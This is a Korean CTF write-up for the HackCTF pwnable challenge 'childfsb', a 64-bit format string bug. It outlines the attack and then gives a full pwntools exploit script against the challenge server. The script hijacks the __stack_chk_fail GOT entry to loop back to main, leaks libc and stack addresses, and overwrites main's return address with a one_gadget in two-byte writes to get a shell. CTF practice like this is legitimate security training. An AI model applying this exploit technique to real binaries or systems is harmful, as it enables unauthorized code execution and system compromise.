WAR GAME/HackCTF

[HackCTF : Pwnable] childfsb 풀이 (64bit, FSB)

jir4vvit 2021. 4. 26. 15:51

문제 풀이 환경 : ubuntu 16.04
사용 툴 : IDA 7.5 pro

 


보호 기법
main

fsb, bof 둘 다 터짐

하지만 bof로 RET를 건들 수는 없고, canary를 건드려 __stack_chk_fail 함수만 호출가능할 정도...

 

+로 직전에 풀었던 babyfsb 문제와 달라진 점이있는데,

read함수로 적을 수 있는 size가 0x19로 매우 짧아졌단 것. 그래서 두바이트씩 찔끔찔끔 덮어야 한다.

Summary

  1. __stack_chk_fail 함수를 main 함수로 overwriting
  2. libc 주소 leak
  3. main의 ret를 one_gadget으로 overwriting

처음에 __stack_chk_fail 함수를 main 함수로 overwriting할 때, 하위 2바이트만 덮어도 된다.

ㅎㅎ;

 

main의 ret를 one_gadget으로 덮은 이유?

처음에 __stack_chk_fail 함수로 덮으려고 했었다. 하지만 여기에 one_gadget으로 두바이트씩 찔끔 덮어주면 main 으로 돌아가지가 않는다. (주소가 변해서)

그래서 고민하다가 main의 ret를 덮어주기로 했다. main으로 돌릴때 일부러 stack smashing을 일으켜서 __stack_chk_fail 함수를 호출하여 main으로 돌려주는데, 이 과정 까지에는 main의 ret가 실행될 일이 없으니 계속 main으로 돌릴 수 있기 때문이다. 또한 마지막에 stack smashing만 안일으키면 자동적으로 main의 ret이 실행되니 굳이 저 위치로 이동을 안시켜도 되기 때문이다.

 

rtld는 안구해더 댐ㅎㅎㅎ;

from pwn import *

#p = process('./childfsb')
p = remote('ctf.j0n9hyun.xyz', 3037)
e = ELF('./childfsb')
#libc = e.libc
libc = ELF('./libc.so.6')

rtld_offset = 0x5f0f48
stack_chk_fail_got = e.got['__stack_chk_fail']
main = e.symbols['main']
one_gadget_offset = 0x45216

main_low = main & 0xffff

# offset 6
payload = ''
payload += '%{}c'.format(main_low)
payload += '%8$hn'
payload += 'A' * (8 - len(payload) % 8)
payload += p64(stack_chk_fail_got)
print hex(len(payload))
payload += 'B' * (0x19 - len(payload))

#pause()
p.sendafter('hello\n', payload)


# libc leak
payload = ''
payload += 'l:%17$p'
payload += 'sta:%10$p'
payload += 'B' * (0x19 - len(payload))

#pause()
p.sendafter('hello\n', payload)

p.recvuntil('l:')
leak = int(p.recv(14), 16)
log.info('leak = '+ hex(leak))

p.recvuntil('sta:')
stack = int(p.recv(14), 16)
log.info('stack = '+hex(stack))

main_ret = stack + 0x8
log.info('main_ret = '+hex(main_ret))


libc_base = leak - libc.symbols['__libc_start_main'] - 240
log.info('libc_base = '+hex(libc_base))
# rtld
rtld = libc_base + rtld_offset
# one_gadget
one_gadget = libc_base + one_gadget_offset
log.info('one_gadget = ' + hex(one_gadget))

one_low = one_gadget & 0xffff
one_middle = (one_gadget >> 16) & 0xffff
one_high = (one_gadget >> 32) & 0xffff

log.info('low ' +hex(one_low))
log.info('middle ' +hex(one_middle))
log.info('high ' +hex(one_high))

# main_ret  -> one_gadget ...
payload = ''
payload += '%{}c'.format(one_low)
payload += '%8$hn'
payload += 'A' * (8-len(payload)%8)
print (len(payload))
payload += p64(main_ret)
payload += 'B' * (0x19 - len(payload))

#pause()
p.sendafter('hello\n', payload)

payload = ''
payload += '%{}c'.format(one_middle)
payload += '%8$hn'
payload += 'A' * (8-len(payload)%8)
print len(payload)
payload += p64(main_ret + 2)
payload += 'B' * (0x19 - len(payload))

#pause()
p.sendafter('hello\n', payload)

payload = ''
payload += '%{}c'.format(one_high)
payload += '%8$hn'
payload += 'A' * (8-len(payload)%8)
print len(payload)
payload += p64(main_ret + 4)
#payload += 'B' * (0x19 - len(payload))

pause()
p.sendafter('hello\n', payload)

p.interactive()